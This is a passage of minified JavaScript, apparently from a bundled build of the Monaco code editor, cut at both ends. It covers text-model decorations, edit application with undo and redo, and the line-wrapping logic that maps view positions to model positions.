e(e,t){this.staticId=e,this.stickiness=t.stickiness||s.TrackedRangeStickiness.AlwaysGrowsWhenTypingAtEdges,this.className=t.className?h(t.className):o.empty,this.hoverMessage=t.hoverMessage||[],this.glyphMarginHoverMessage=t.glyphMarginHoverMessage||o.empty,this.isWholeLine=t.isWholeLine||!1,this.showIfCollapsed=t.showIfCollapsed||!1,this.overviewRuler=new y(t.overviewRuler),this.glyphMarginClassName=t.glyphMarginClassName?h(t.glyphMarginClassName):o.empty,this.linesDecorationsClassName=t.linesDecorationsClassName?h(t.linesDecorationsClassName):o.empty,this.marginClassName=t.marginClassName?h(t.marginClassName):o.empty,this.inlineClassName=t.inlineClassName?h(t.inlineClassName):o.empty,this.beforeContentClassName=t.beforeContentClassName?h(t.beforeContentClassName):o.empty,this.afterContentClassName=t.afterContentClassName?h(t.afterContentClassName):o.empty,t.__extraOptions&&(this.extraOptions=t.__extraOptions)}return e.register=function(t){return new e(++C,t)},e.createDynamic=function(t){return new e(0,t)},e.prototype.equals=function(e){return this.staticId>0||e.staticId>0?this.staticId===e.staticId:this.stickiness===e.stickiness&&this.className===e.className&&this.isWholeLine===e.isWholeLine&&this.showIfCollapsed===e.showIfCollapsed&&this.glyphMarginClassName===e.glyphMarginClassName&&this.linesDecorationsClassName===e.linesDecorationsClassName&&this.marginClassName===e.marginClassName&&this.inlineClassName===e.inlineClassName&&this.beforeContentClassName===e.beforeContentClassName&&this.afterContentClassName===e.afterContentClassName&&i.markedStringsEquals(this.hoverMessage,e.hoverMessage)&&i.markedStringsEquals(this.glyphMarginHoverMessage,e.glyphMarginHoverMessage)&&this.overviewRuler.equals(e.overviewRuler)&&this.extraOptions===e.extraOptions},e}();t.ModelDecorationOptions=b,b.EMPTY=b.register({});var w=function(){return function(e,t,n){this.index=e,this.range=t,this.options=n}}()}),define(d[326],h([1,0,2,20,475,34,9,33,12,101,93,55]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var h=function(e){function t(t,n,i){var r=e.call(this,t,n,i)||this;return r._commandManager=new o.EditStack(r),r._isUndoing=!1,r._isRedoing=!1,r._hasEditableRange=!1,r._editableRangeId=null,r._trimAutoWhitespaceLines=null,r}return f(t,e),t.createFromString=function(e,n,i){return void 0===n&&(n=c.TextModel.DEFAULT_CREATION_OPTIONS),void 0===i&&(i=null),new t(l.RawTextSource.fromString(e),n,i)},t.prototype.onDidChangeRawContent=function(e){return this._eventEmitter.addListener(d.TextModelEventType.ModelRawContentChanged2,e)},t.prototype.onDidChangeContent=function(e){return this._eventEmitter.addListener(d.TextModelEventType.ModelContentChanged,e)},t.prototype.dispose=function(){this._commandManager=null,e.prototype.dispose.call(this)},t.prototype._resetValue=function(t){e.prototype._resetValue.call(this,t),this._commandManager=new o.EditStack(this),this._hasEditableRange=!1,this._editableRangeId=null,this._trimAutoWhitespaceLines=null},t.prototype.pushStackElement=function(){this._commandManager.pushStackElement()},t.prototype.pushEditOperations=function(e,t,n){try{return this._eventEmitter.beginDeferredEmit(),this._pushEditOperations(e,t,n)}finally{this._eventEmitter.endDeferredEmit()}},t.prototype._pushEditOperations=function(e,t,i){var o=this;if(this._options.trimAutoWhitespace&&this._trimAutoWhitespaceLines){for(var r=t.map(function(e){return{range:o.validateRange(e.range),text:e.text}}),s=!0,a=0,u=e.length;a<u;a++){for(var l=e[a],c=!1,d=0,h=r.length;d<h;d++){var p=(_=r[d].range).startLineNumber>l.endLineNumber,f=l.startLineNumber>_.endLineNumber;if(!p&&!f){c=!0;break}}if(!c){s=!1;break}}if(s)for(var a=0,u=this._trimAutoWhitespaceLines.length;a<u;a++){for(var g=this._trimAutoWhitespaceLines[a],m=this.getLineMaxColumn(g),v=!0,d=0,h=r.length;d<h;d++){var _=r[d].range,y=r[d].text;if(!(g<_.startLineNumber||g>_.endLineNumber)&&!(g===_.startLineNumber&&_.startColumn===m&&_.isEmpty()&&y&&y.length>0&&\"\\n\"===y.charAt(0))){v=!1;break}}v&&t.push({identifier:null,range:new n.Range(g,1,g,m),text:null,forceMoveMarkers:!1,isAutoWhitespaceEdit:!1})}this._trimAutoWhitespaceLines=null}return this._commandManager.pushEditOperation(e,t,i)},t.prototype._reduceOperations=function(e){return e.length<1e3?e:[this._toSingleEditOperation(e)]},t.prototype._toSingleEditOperation=function(e){for(var t=!1,i=e[0].range,o=e[e.length-1].range,r=new n.Range(i.startLineNumber,i.startColumn,o.endLineNumber,o.endColumn),s=i.startLineNumber,a=i.startColumn,u=[],l=0,c=e.length;l<c;l++){var d=e[l],h=d.range;t=t||d.forceMoveMarkers;for(var p=s;p<h.startLineNumber;p++)p===s?u.push(this._lines[p-1].text.substring(a-1)):(u.push(\"\\n\"),u.push(this._lines[p-1].text));if(h.startLineNumber===s?u.push(this._lines[h.startLineNumber-1].text.substring(a-1,h.startColumn-1)):(u.push(\"\\n\"),u.push(this._lines[h.startLineNumber-1].text.substring(0,h.startColumn-1))),d.lines)for(var f=0,g=d.lines.length;f<g;f++)0!==f&&u.push(\"\\n\"),u.push(d.lines[f]);s=d.range.endLineNumber,a=d.range.endColumn}return{sortIndex:0,identifier:e[0].identifier,range:r,rangeLength:this.getValueLengthInRange(r),lines:u.join(\"\").split(\"\\n\"),forceMoveMarkers:t,isAutoWhitespaceEdit:!1}},t._sortOpsAscending=function(e,t){var i=n.Range.compareRangesUsingEnds(e.range,t.range);return 0===i?e.sortIndex-t.sortIndex:i},t._sortOpsDescending=function(e,t){var i=n.Range.compareRangesUsingEnds(e.range,t.range);return 0===i?t.sortIndex-e.sortIndex:-i},t.prototype.applyEdits=function(e){try{this._eventEmitter.beginDeferredEmit();var t=this._acquireMarkersTracker();return this._applyEdits(t,e)}finally{this._releaseMarkersTracker(),this._eventEmitter.endDeferredEmit()}},t.prototype._applyEdits=function(e,n){if(0===n.length)return[];for(var i=this._mightContainRTL,o=this._mightContainNonBasicASCII,r=!0,a=[],u=0;u<n.length;u++){y=n[u];r&&y._isTracked&&(r=!1);var l=this.validateRange(y.range);!i&&y.text&&(i=s.containsRTL(y.text)),!o&&y.text&&(o=!s.isBasicASCII(y.text)),a[u]={sortIndex:u,identifier:y.identifier,range:l,rangeLength:this.getValueLengthInRange(l),lines:y.text?y.text.split(/\\r\\n|\\r|\\n/):null,forceMoveMarkers:y.forceMoveMarkers,isAutoWhitespaceEdit:y.isAutoWhitespaceEdit||!1}}a.sort(t._sortOpsAscending);for(var u=0,c=a.length-1;u<c;u++){var d=a[u].range.getEndPosition();if(a[u+1].range.getStartPosition().isBefore(d))throw new Error(\"Overlapping ranges are not allowed!\")}r&&(a=this._reduceOperations(a));for(var h=this.getEditableRange(),p=h.getStartPosition(),f=h.getEndPosition(),u=0;u<a.length;u++){var g=a[u].range;if(!p.isBeforeOrEqual(g.getStartPosition())||!g.getEndPosition().isBeforeOrEqual(f))throw new Error(\"Editing outside of editable range not allowed!\")}for(var m=t._getInverseEditRanges(a),v=[],_=[],u=0;u<a.length;u++){var y=a[u],C=m[u];if(v[u]={identifier:y.identifier,range:C,text:this.getValueInRange(y.range),forceMoveMarkers:y.forceMoveMarkers},this._options.trimAutoWhitespace&&y.isAutoWhitespaceEdit&&y.range.isEmpty())for(S=C.startLineNumber;S<=C.endLineNumber;S++){var b=\"\";S===C.startLineNumber&&(b=this.getLineContent(y.range.startLineNumber),-1!==s.firstNonWhitespaceIndex(b))||_.push({lineNumber:S,oldContent:b})}}if(this._mightContainRTL=i,this._mightContainNonBasicASCII=o,this._doApplyEdits(e,a),this._trimAutoWhitespaceLines=null,this._options.trimAutoWhitespace&&_.length>0){_.sort(function(e,t){return t.lineNumber-e.lineNumber}),this._trimAutoWhitespaceLines=[];for(var u=0,w=_.length;u<w;u++){var S=_[u].lineNumber;if(!(u>0&&_[u-1].lineNumber===S)){var E=_[u].oldContent,L=this.getLineContent(S);0!==L.length&&L!==E&&-1===s.firstNonWhitespaceIndex(L)&&this._trimAutoWhitespaceLines.push(S)}}}return v},t._getInverseEditRanges=function(e){for(var t,i,o=[],r=null,s=0,a=e.length;s<a;s++){var u=e[s],l=void 0,c=void 0;r?r.range.endLineNumber===u.range.startLineNumber?(l=t,c=i+(u.range.startColumn-r.range.endColumn)):(l=t+(u.range.startLineNumber-r.range.endLineNumber),c=u.range.startColumn):(l=u.range.startLineNumber,c=u.range.startColumn);var d=void 0;if(u.lines&&u.lines.length>0){var h=u.lines.length,p=u.lines[0],f=u.lines[h-1];d=1===h?new n.Range(l,c,l,c+p.length):new n.Range(l,c,l+h-1,f.length+1)}else d=new n.Range(l,c,l,c);t=d.endLineNumber,i=d.endColumn,o.push(d),r=u}return o},t.prototype._doApplyEdits=function(e,i){var o=this,r=this._options.tabSize;i.sort(t._sortOpsDescending);for(var s=[],l=[],c=[],h=function(){if(0!==c.length){c.reverse();for(var t=c[0].lineNumber,n=0,i=1,a=c.length;i<a;i++){var u=c[i].lineNumber;u!==t&&(o._invalidateLine(t-1),o._lines[t-1].applyEdits(e,c.slice(n,i),r),o._lineStarts&&o._lineStarts.changeValue(t-1,o._lines[t-1].text.length+o._EOL.length),s.push(new d.ModelRawLineChanged(t,o._lines[t-1].text)),t=u,n=i)}o._invalidateLine(t-1),o._lines[t-1].applyEdits(e,c.slice(n,c.length),r),o._lineStarts&&o._lineStarts.changeValue(t-1,o._lines[t-1].text.length+o._EOL.length),s.push(new d.ModelRawLineChanged(t,o._lines[t-1].text)),c=[]}},p=i[i.length-1].range.startLineNumber,f=i[0].range.endLineNumber+1,g=0,m=0,v=i.length;m<v;m++){var _=i[m],y=_.range.startLineNumber,C=_.range.startColumn,b=_.range.endLineNumber,w=_.range.endColumn;if(y!==b||C!==w||_.lines&&0!==_.lines.length){var S=b-y,E=_.lines?_.lines.length-1:0,L=Math.min(S,E);g+=E-S;for(D=L;D>=0;D--){var x=y+D;!function(e){e.startColumn===e.endColumn&&0===e.text.length||c.push(e)}({lineNumber:x,startColumn:x===y?C:1,endColumn:x===b?w:this.getLineMaxColumn(x),text:_.lines?_.lines[D]:\"\",forceMoveMarkers:_.forceMoveMarkers})}if(L<S){h();var N=y+L,M=this.getLineMaxColumn(N),T=this._lines[b-1].split(e,w,!1,r);this._invalidateLine(N-1);for(var k=b-N,I=[],D=0;D<k;D++){var O=N+D,R=this._lines[O].getMarkers();R&&(I=I.concat(R))}this._lines.splice(N,k),this._lineStarts&&this._lineStarts.removeValues(N,k),this._lines[N-1].append(e,N,T,r),this._lineStarts&&this._lineStarts.changeValue(N-1,this._lines[N-1].text.length+this._EOL.length);for(var P=new u.Position(N,M),D=0,A=I.length;D<A;D++)I[D].updatePosition(e,P);this._lines[N-1].addMarkers(I),s.push(new d.ModelRawLineChanged(N,this._lines[N-1].text)),s.push(new d.ModelRawLinesDeleted(N+1,N+k))}if(L<E){h();var F=y+L,W=F===y?C:1;_.lines&&(W+=_.lines[L].length);var B=this._lines[F-1].split(e,W,_.forceMoveMarkers,r);this._lineStarts&&this._lineStarts.changeValue(F-1,this._lines[F-1].text.length+this._EOL.length),s.push(new d.ModelRawLineChanged(F,this._lines[F-1].text)),this._invalidateLine(F-1);for(var V=[],H=[],z=new Uint32Array(E-L),D=L+1;D<=E;D++)V.push(this._createModelLine(_.lines[D],r)),H.push(_.lines[D]),z[D-L-1]=_.lines[D].length+this._EOL.length;this._lines=a.arrayInsert(this._lines,y+L,V),H[H.length-1]+=B.text,this._lineStarts&&this._lineStarts.insertValues(y+L,z),this._lines[y+E-1].append(e,y+E,B,r),this._lineStarts&&this._lineStarts.changeValue(y+E-1,this._lines[y+E-1].text.length+this._EOL.length),s.push(new d.ModelRawLinesInserted(F+1,y+E,H.join(\"\\n\")))}l.push({range:new n.Range(y,C,b,w),rangeLength:_.rangeLength,text:_.lines?_.lines.join(this.getEOL()):\"\"})}}h(),f=Math.max(1,Math.min(this.getLineCount(),f+g)),0!==g&&(f=this.getLineCount());for(var K=p;K<=f;K++)this._lines[K-1].updateLineNumber(e,K);if(0!==s.length||0!==l.length){this._increaseVersionId(),this._emitModelRawContentChangedEvent(new d.ModelRawContentChangedEvent(s,this.getVersionId(),this._isUndoing,this._isRedoing));var U={changes:l,eol:this._EOL,versionId:this.getVersionId(),isUndoing:this._isUndoing,isRedoing:this._isRedoing,isFlush:!1};this._eventEmitter.emit(d.TextModelEventType.ModelContentChanged,U)}this._resetIndentRanges()},t.prototype._assertLineNumbersOK=function(){for(var e=0,t=0,n=this._lines.length;t<n;t++){var i=t+1,o=this._lines[t].getMarkers();if(null!==o)for(var r=0,s=o.length;r<s;r++){e++;var a=o[r].id;if(this._markerIdToMarker[a].position.lineNumber!==i)throw new Error(\"Misplaced marker with id \"+a)}}if(Object.keys(this._markerIdToMarker).length!==e)throw new Error(\"There are misplaced markers!\")},t.prototype._undo=function(){this._isUndoing=!0;var e=this._commandManager.undo();return this._isUndoing=!1,e?(this._overwriteAlternativeVersionId(e.recordedVersionId),e.selections):null},t.prototype.undo=function(){try{return this._eventEmitter.beginDeferredEmit(),this._acquireMarkersTracker(),this._undo()}finally{this._releaseMarkersTracker(),this._eventEmitter.endDeferredEmit()}},t.prototype._redo=function(){this._isRedoing=!0;var e=this._commandManager.redo();return this._isRedoing=!1,e?(this._overwriteAlternativeVersionId(e.recordedVersionId),e.selections):null},t.prototype.redo=function(){try{return this._eventEmitter.beginDeferredEmit(),this._acquireMarkersTracker(),this._redo()}finally{this._releaseMarkersTracker(),this._eventEmitter.endDeferredEmit()}},t.prototype.setEditableRange=function(e){var n=this;this._commandManager.clear(),(this._hasEditableRange||e)&&this.changeDecorations(function(i){n._hasEditableRange&&(i.removeDecoration(n._editableRangeId),n._editableRangeId=null,n._hasEditableRange=!1),e&&(n._hasEditableRange=!0,n._editableRangeId=i.addDecoration(e,t._DECORATION_OPTION))})},t.prototype.hasEditableRange=function(){return this._hasEditableRange},t.prototype.getEditableRange=function(){return this._hasEditableRange?this.getDecorationRange(this._editableRangeId):this.getFullModelRange()},t._DECORATION_OPTION=r.ModelDecorationOptions.register({stickiness:i.TrackedRangeStickiness.AlwaysGrowsWhenTypingAtEdges}),t}(r.TextModelWithDecorations);t.EditableTextModel=h}),define(d[175],h([1,0,24,326,93,101,55]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=0,u=function(e){function t(t,i,o,r){void 0===r&&(r=null);var s=e.call(this,t,i,o)||this;return a++,s.id=\"$model\"+a,s._associatedResource=void 0===r||null===r?n.default.parse(\"inmemory://model/\"+a):r,s._attachedEditorCount=0,s}return f(t,e),t.prototype.onDidChangeDecorations=function(e){return this._eventEmitter.addListener(s.TextModelEventType.ModelDecorationsChanged,e)},t.prototype.onDidChangeOptions=function(e){return this._eventEmitter.addListener(s.TextModelEventType.ModelOptionsChanged,e)},t.prototype.onWillDispose=function(e){return this._eventEmitter.addListener(s.TextModelEventType.ModelDispose,e)},t.prototype.onDidChangeLanguage=function(e){return this._eventEmitter.addListener(s.TextModelEventType.ModelLanguageChanged,e)},t.createFromString=function(e,n,i,s){return void 0===n&&(n=o.TextModel.DEFAULT_CREATION_OPTIONS),void 0===i&&(i=null),void 0===s&&(s=null),new t(r.RawTextSource.fromString(e),n,i,s)},t.prototype.destroy=function(){this.dispose()},t.prototype.dispose=function(){this._isDisposing=!0,this._eventEmitter.emit(s.TextModelEventType.ModelDispose),e.prototype.dispose.call(this),this._isDisposing=!1},t.prototype.onBeforeAttached=function(){this._attachedEditorCount++,this._warmUpTokens()},t.prototype.onBeforeDetached=function(){this._attachedEditorCount--},t.prototype._shouldAutoTokenize=function(){return this.isAttachedToEditor()},t.prototype.isAttachedToEditor=function(){return this._attachedEditorCount>0},Object.defineProperty(t.prototype,\"uri\",{get:function(){return this._associatedResource},enumerable:!0,configurable:!0}),t}(i.EditableTextModel);t.Model=u}),define(d[179],h([1,0,12,22,2,104,86,57,34]),function(e,t,n,i,o,r,s,a,u){\"use strict\";function l(e,t,n,i,o,r,s){var a=e.createLineMapping(t,n,i,o,r);return null===a?s?p.INSTANCE:f.INSTANCE:new g(a,s)}Object.defineProperty(t,\"__esModule\",{value:!0});var c=function(){return function(e,t){this.outputLineIndex=e,this.outputOffset=t}}();t.OutputPosition=c;var d=function(){function e(e){this._lines=e}return e.prototype.convertViewPositionToModelPosition=function(e){return this._lines.convertViewPositionToModelPosition(e.lineNumber,e.column)},e.prototype.convertViewRangeToModelRange=function(e){var t=this._lines.convertViewPositionToModelPosition(e.startLineNumber,e.startColumn),n=this._lines.convertViewPositionToModelPosition(e.endLineNumber,e.endColumn);return new o.Range(t.lineNumber,t.column,n.lineNumber,n.column)},e.prototype.convertViewSelectionToModelSelection=function(e){var t=this._lines.convertViewPositionToModelPosition(e.selectionStartLineNumber,e.selectionStartColumn),n=this._lines.convertViewPositionToModelPosition(e.positionLineNumber,e.positionColumn);return new i.Selection(t.lineNumber,t.column,n.lineNumber,n.column)},e.prototype.validateViewPosition=function(e,t){return this._lines.validateViewPosition(e.lineNumber,e.column,t)},e.prototype.validateViewRange=function(e,t){var n=this._lines.validateViewPosition(e.startLineNumber,e.startColumn,t.getStartPosition()),i=this._lines.validateViewPosition(e.endLineNumber,e.endColumn,t.getEndPosition());return new o.Range(n.lineNumber,n.column,i.lineNumber,i.column)},e.prototype.convertModelPositionToViewPosition=function(e){return this._lines.convertModelPositionToViewPosition(e.lineNumber,e.column)},e.prototype.convertModelRangeToViewRange=function(e){var t=this._lines.convertModelPositionToViewPosition(e.startLineNumber,e.startColumn),n=this._lines.convertModelPositionToViewPosition(e.endLineNumber,e.endColumn);return new o.Range(t.lineNumber,t.column,n.lineNumber,n.column)},e.prototype.convertModelSelectionToViewSelection=function(e){var t=this._lines.convertModelPositionToViewPosition(e.selectionStartLineNumber,e.selectionStartColumn),n=this._lines.convertModelPositionToViewPosition(e.positionLineNumber,e.positionColumn);return new i.Selection(t.lineNumber,t.column,n.lineNumber,n.column)},e.prototype.modelPositionIsVisible=function(e){return this._lines.modelPositionIsVisible(e.lineNumber,e.column)},e}();t.CoordinatesConverter=d;var h=function(){function e(e,t,n,i,o,r){this.model=e,this._validModelVersionId=-1,this.tabSize=n,this.wrappingColumn=i,this.columnsForFullWidthChar=o,this.wrappingIndent=r,this.linePositionMapperFactory=t,this._constructLines(!0)}return e.prototype.dispose=function(){this.hiddenAreasIds=this.model.deltaDecorations(this.hiddenAreasIds,[])},e.prototype.createCoordinatesConverter=function(){return new d(this)},e.prototype._ensureValidState=function(){if(this.model.getVersionId()!==this._validModelVersionId)throw new Error(\"SplitLinesCollection: attempt to access a 'newer' model\")},e.prototype._constructLines=function(e){var t=this;this.lines=[],e&&(this.hiddenAreasIds=[]);for(var n=this.model.getLinesContent(),i=n.length,s=new Uint32Array(i),a=this.hiddenAreasIds.map(function(e){return t.model.getDecorationRange(e)}).sort(o.Range.compareRangesUsingStarts),u=1,c=0,d=-1,h=d+1<a.length?c+1:i+2,p=0;p<i;p++){var f=p+1;f===h&&(u=a[++d].startLineNumber,c=a[d].endLineNumber,h=d+1<a.length?c+1:i+2);var g=f>=u&&f<=c,m=l(this.linePositionMapperFactory,n[p],this.tabSize,this.wrappingColumn,this.columnsForFullWidthChar,this.wrappingIndent,!g);s[p]=m.getViewLineCount(),this.lines[p]=m}this._validModelVersionId=this.model.getVersionId(),this.prefixSumComputer=new r.PrefixSumComputerWithCache(s)},e.prototype.getHiddenAreas=function(){var e=this;return this.hiddenAreasIds.map(function(t){return e.model.getDecorationRange(t)}).sort(o.Range.compareRangesUsingStarts)},e.prototype._reduceRanges=function(e){var t=this;if(0===e.length)return[];for(var n=e.map(function(e){return t.model.validateRange(e)}).sort(o.Range.compareRangesUsingStarts),i=[],r=n[0].startLineNumber,s=n[0].endLineNumber,a=1,u=n.length;a<u;a++){var l=n[a];l.startLineNumber>s+1?(i.push(new o.Range(r,1,s,1)),r=l.startLineNumber,s=l.endLineNumber):l.endLineNumber>s&&(s=l.endLineNumber)}return i.push(new o.Range(r,1,s,1)),i},e.prototype.setHiddenAreas=function(e){var t=this,n=this._reduceRanges(e),i=this.hiddenAreasIds.map(function(e){return t.model.getDecorationRange(e)}).sort(o.Range.compareRangesUsingStarts);if(n.length===i.length){for(var r=!1,s=0;s<n.length;s++)if(!n[s].equalsRange(i[s])){r=!0;break}if(!r)return!1}for(var a=[],s=0;s<n.length;s++)a.push({range:n[s],options:u.ModelDecorationOptions.EMPTY});this.hiddenAreasIds=this.model.deltaDecorations(this.hiddenAreasIds,a);for(var l=n,c=1,d=0,h=-1,p=h+1<l.length?d+1:this.lines.length+2,s=0;s<this.lines.length;s++){var f=s+1;f===p&&(c=l[++h].startLineNumber,d=l[h].endLineNumber,p=h+1<l.length?d+1:this.lines.length+2);var g=!1;if(f>=c&&f<=d?this.lines[s].isVisible()&&(this.lines[s]=this.lines[s].setVisible(!1),g=!0):this.lines[s].isVisible()||(this.lines[s]=this.lines[s].setVisible(!0),g=!0),g){var m=this.lines[s].getViewLineCount();this.prefixSumComputer.changeValue(s,m)}}return!0},e.prototype.modelPositionIsVisible=function(e,t){return!(e<1||e>this.lines.length)&&this.lines[e-1].isVisible()},e.prototype.setTabSize=function(e){return this.tabSize!==e&&(this.tabSize=e,this._constructLines(!1),!0)},e.prototype.setWrappingSettings=function(e,t,n){return(this.wrappingIndent!==e||this.wrappingColumn!==t||this.columnsForFullWidthChar!==n)&&(this.wrappingIndent=e,this.wrappingColumn=t,this.columnsForFullWidthChar=n,this._constructLines(!1),!0)},e.prototype.onModelFlushed=function(){this._constructLines(!0)},e.prototype.onModelLinesDeleted=function(e,t,n){if(e<=this._validModelVersionId)return null;var i=1===t?1:this.prefixSumComputer.getAccumulatedValue(t-2)+1,o=this.prefixSumComputer.getAccumulatedValue(n-1);return this.lines.splice(t-1,n-t+1),this.prefixSumComputer.removeValues(t-1,n-t+1),new a.ViewLinesDeletedEvent(i,o)},e.prototype.onModelLinesInserted=function(e,t,i,o){if(e<=this._validModelVersionId)return null;for(var r=this.getHiddenAreas(),s=!1,u=new n.Position(t,1),c=0;c<r.length;c++)if(r[c].containsPosition(u)){s=!0;break}for(var d=1===t?1:this.prefixSumComputer.getAccumulatedValue(t-2)+1,h=0,p=[],f=new Uint32Array(o.length),c=0,g=o.length;c<g;c++){var m=l(this.linePositionMapperFactory,o[c],this.tabSize,this.wrappingColumn,this.columnsForFullWidthChar,this.wrappingIndent,!s);p.push(m);var v=m.getViewLineCount();h+=v,f[c]=v}return this.lines=this.lines.slice(0,t-1).concat(p).concat(this.lines.slice(t-1)),this.prefixSumComputer.insertValues(t-1,f),new a.ViewLinesInsertedEvent(d,d+h-1)},e.prototype.onModelLineChanged=function(e,t,n){if(e<=this._validModelVersionId)return[!1,null,null,null];var i=t-1,o=this.lines[i].getViewLineCount(),r=this.lines[i].isVisible(),s=l(this.linePositionMapperFactory,n,this.tabSize,this.wrappingColumn,this.columnsForFullWidthChar,this.wrappingIndent,r);this.lines[i]=s;var u=this.lines[i].getViewLineCount(),c=!1,d=0,h=-1,p=0,f=-1,g=0,m=-1;return o>u?(m=(g=(h=(d=1===t?1:this.prefixSumComputer.getAccumulatedValue(t-2)+1)+u-1)+1)+(o-u)-1,c=!0):o<u?(f=(p=(h=(d=1===t?1:this.prefixSumComputer.getAccumulatedValue(t-2)+1)+o-1)+1)+(u-o)-1,c=!0):h=(d=1===t?1:this.prefixSumComputer.getAccumulatedValue(t-2)+1)+u-1,this.prefixSumComputer.changeValue(i,u),[c,d<=h?new a.ViewLinesChangedEvent(d,h):null,p<=f?new a.ViewLinesInsertedEvent(p,f):null,g<=m?new a.ViewLinesDeletedEvent(g,m):null]},e.prototype.acceptVersionId=function(e){this._validModelVersionId=e},e.prototype.getViewLineCount=function(){return this._ensureValidState(),this.prefixSumComputer.getTotalValue()},e.prototype._toValidViewLineNumber=function(e){if(e<1)return 1;var t=this.getViewLineCount();return e>t?t:e},e.prototype.warmUpLookupCache=function(e,t){this.prefixSumComputer.warmUpCache(e-1,t-1)},e.prototype.getViewLineIndentGuide=function(e){this._ensureValidState(),e=this._toValidViewLineNumber(e);var t=this.prefixSumComputer.getIndexOf(e-1);return this.model.getLineIndentGuide(t.index+1)},e.prototype.getViewLineContent=function(e){this._ensureValidState(),e=this._toValidViewLineNumber(e);var t=this.prefixSumComputer.getIndexOf(e-1),n=t.index,i=t.remainder;return this.lines[n].getViewLineContent(this.model,n+1,i)},e.prototype.getViewLineMinColumn=function(e){this._ensureValidState(),e=this._toValidViewLineNumber(e);var t=this.prefixSumComputer.getIndexOf(e-1),n=t.index,i=t.remainder;return this.lines[n].getViewLineMinColumn(this.model,n+1,i)},e.prototype.getViewLineMaxColumn=function(e){this._ensureValidState(),e=this._toValidViewLineNumber(e);var t=this.prefixSumComputer.getIndexOf(e-1),n=t.index,i=t.remainder;return this.lines[n].getViewLineMaxColumn(this.model,n+1,i)},e.prototype.getViewLineData=function(e){this._ensureValidState(),e=this._toValidViewLineNumber(e);var t=this.prefixSumComputer.getIndexOf(e-1),n=t.index,i=t.remainder;return this.lines[n].getViewLineData(this.model,n+1,i)},e.prototype.getViewLinesData=function(e,t,n){this._ensureValidState(),e=this._toValidViewLineNumber(e),t=this._toValidViewLineNumber(t);for(var i=this.prefixSumComputer.getIndexOf(e-1),o=e,r=i.index,s=i.remainder,a=[],u=r,l=this.model.getLineCount();u<l;u++){var c=this.lines[u];if(c.isVisible()){var d=u===r?s:0,h=c.getViewLineCount()-d,p=!1;o+h>t&&(p=!0,h=t-o+1);var f=d+h;if(c.getViewLinesData(this.model,u+1,d,f,o-e,n,a),o+=h,p)break}}return a},e.prototype.validateViewPosition=function(e,t,i){this._ensureValidState(),e=this._toValidViewLineNumber(e);var o=this.prefixSumComputer.getIndexOf(e-1),r=o.index,s=o.remainder,a=this.lines[r],u=a.getViewLineMinColumn(this.model,r+1,s),l=a.getViewLineMaxColumn(this.model,r+1,s);t<u&&(t=u),t>l&&(t=l);var c=a.getModelColumnOfViewPosition(s,t);return this.model.validatePosition(new n.Position(r+1,c)).equals(i)?new n.Position(e,t):this.convertModelPositionToViewPosition(i.lineNumber,i.column)},e.prototype.convertViewPositionToModelPosition=function(e,t){this._ensureValidState(),e=this._toValidViewLineNumber(e);var i=this.prefixSumComputer.getIndexOf(e-1),o=i.index,r=i.remainder,s=this.lines[o].getModelColumnOfViewPosition(r,t);return this.model.validatePosition(new n.Position(o+1,s))},e.prototype.convertModelPositionToViewPosition=function(e,t){this._ensureValidState();for(var i=this.model.validatePosition(new n.Position(e,t)),o=i.lineNumber,r=i.column,s=o-1,a=!1;s>0&&!this.lines[s].isVisible();)s--,a=!0;if(0===s&&!this.lines[s].isVisible())return new n.Position(1,1);var u=1+(0===s?0:this.prefixSumComputer.getAccumulatedValue(s-1));return a?this.lines[s].getViewPositionOfModelPosition(u,this.model.getLineMaxColumn(s+1)):this.lines[o-1].getViewPositionOfModelPosition(u,r)},e}();t.SplitLinesCollection=h;var p=function(){function e(){}return e.prototype.isVisible=function(){return!0},e.prototype.setVisible=function(e){return e?this:f.INSTANCE},e.prototype.getViewLineCount=function(){return 1},e.prototype.getViewLineContent=function(e,t,n){return e.getLineContent(t)},e.prototype.getViewLineMinColumn=function(e,t,n){return e.getLineMinColumn(t)},e.prototype.getViewLineMaxColumn=function(e,t,n){return e.getLineMaxColumn(t)},e.prototype.getViewLineData=function(e,t,n){var i=e.getLineTokens(t),o=i.getLineContent();return new s.ViewLineData(o,1,o.length+1,i.inflate())},e.prototype.getViewLinesData=function(e,t,n,i,o,r,s){r[o]?s[o]=this.getViewLineData(e,t,0):s[o]=null},e.prototype.getModelColumnOfViewPosition=function(e,t){return t},e.prototype.getViewPositionOfModelPosition=function(e,t){return new n.Position(e,t)},e.INSTANCE=new e,e}(),f=function(){function e(){}return e.prototype.isVisible=function(){return!1},e.prototype.setVisible=function(e){return e?p.INSTANCE:this},e.prototype.getViewLineCount=function(){return 0},e.prototype.getViewLineContent=function(e,t,n){throw new Error(\"Not supported\")},e.prototype.getViewLineMinColumn=function(e,t,n){throw new Error(\"Not supported\")},e.prototype.getViewLineMaxColumn=function(e,t,n){throw new Error(\"Not supported\")},e.prototype.getViewLineData=function(e,t,n){throw new Error(\"Not supported\")},e.prototype.getViewLinesData=function(e,t,n,i,o,r,s){throw new Error(\"Not supported\")},e.prototype.getModelColumnOfViewPosition=function(e,t){throw new Error(\"Not supported\")},e.prototype.getViewPositionOfModelPosition=function(e,t){throw new Error(\"Not supported\")},e.INSTANCE=new e,e}(),g=function(){function e(e,t){this.positionMapper=e,this.wrappedIndent=this.positionMapper.getWrappedLinesIndent(),this.wrappedIndentLength=this.wrappedIndent.length,this.outputLineCount=this.positionMapper.getOutputLineCount(),this._isVisible=t}return e.prototype.isVisible=function(){return this._isVisible},e.prototype.setVisible=function(e){return this._isVisible=e,this},e.prototype.getViewLineCount=function(){return this._isVisible?this.outputLineCount:0},e.prototype.getInputStartOffsetOfOutputLineIndex=function(e){return this.positionMapper.getInputOffsetOfOutputPosition(e,0)},e.prototype.getInputEndOffsetOfOutputLineIndex=function(e,t,n){return n+1===this.outputLineCount?e.getLineMaxColumn(t)-1:this.positionMapper.getInputOffsetOfOutputPosition(n+1,0)},e.prototype.getViewLineContent=function(e,t,n){if(!this._isVisible)throw new Error(\"Not supported\");var i=this.getInputStartOffsetOfOutputLineIndex(n),o=this.getInputEndOffsetOfOutputLineIndex(e,t,n),r=e.getLineContent(t).substring(i,o);return n>0&&(r=this.wrappedIndent+r),r},e.prototype.getViewLineMinColumn=function(e,t,n){if(!this._isVisible)throw new Error(\"Not supported\");return 